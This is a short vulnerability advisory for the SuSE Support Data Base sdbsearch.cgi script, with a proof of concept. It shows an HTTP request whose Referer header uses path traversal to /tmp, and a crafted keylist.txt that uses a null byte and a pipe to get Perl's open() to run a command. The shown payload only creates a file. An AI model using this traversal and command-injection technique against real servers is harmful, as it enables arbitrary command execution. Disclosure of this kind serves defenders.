SuSE 6.3/6.4/7.0 sdb - Arbitrary Command Execution

source: https://www.securityfocus.com/bid/3208/info

An input validation error exists in sdb, the SuSE Support Data Base.

The problem exists in the sdbsearch.cgi script, which uses data directly from the 'Referer' header field from a HTTP request as a path when opening it's "keylist.txt" file. The keylist file contains a list of keywords and associated files, which are opened using Perl's open() command.

If an attacker is able to create a malicious "keylist.txt" file on a vulnerable host, it may be possible for the attacker to cause arbitrary commands to be executed by the sdbsearch.cgi script.

Proof of concept is very simple, just create harmful keylist.txt for instance in /tmp directory and send request to http server like this:

GET /cgi-bin/sdbsearch.cgi?stichwort=keyword HTTP/1.0
Referer: http://szachy.org/../../../../../tmp

(very deep traversal because we don't know what is DOCUMENT_ROOT)

and an example content of our /tmp/keylist.txt create like this:
$ echo -e "keyword\0touch exploitable|" > /tmp/keylist.txt

After successful attempt there will be "exploitable" file in /tmp directory.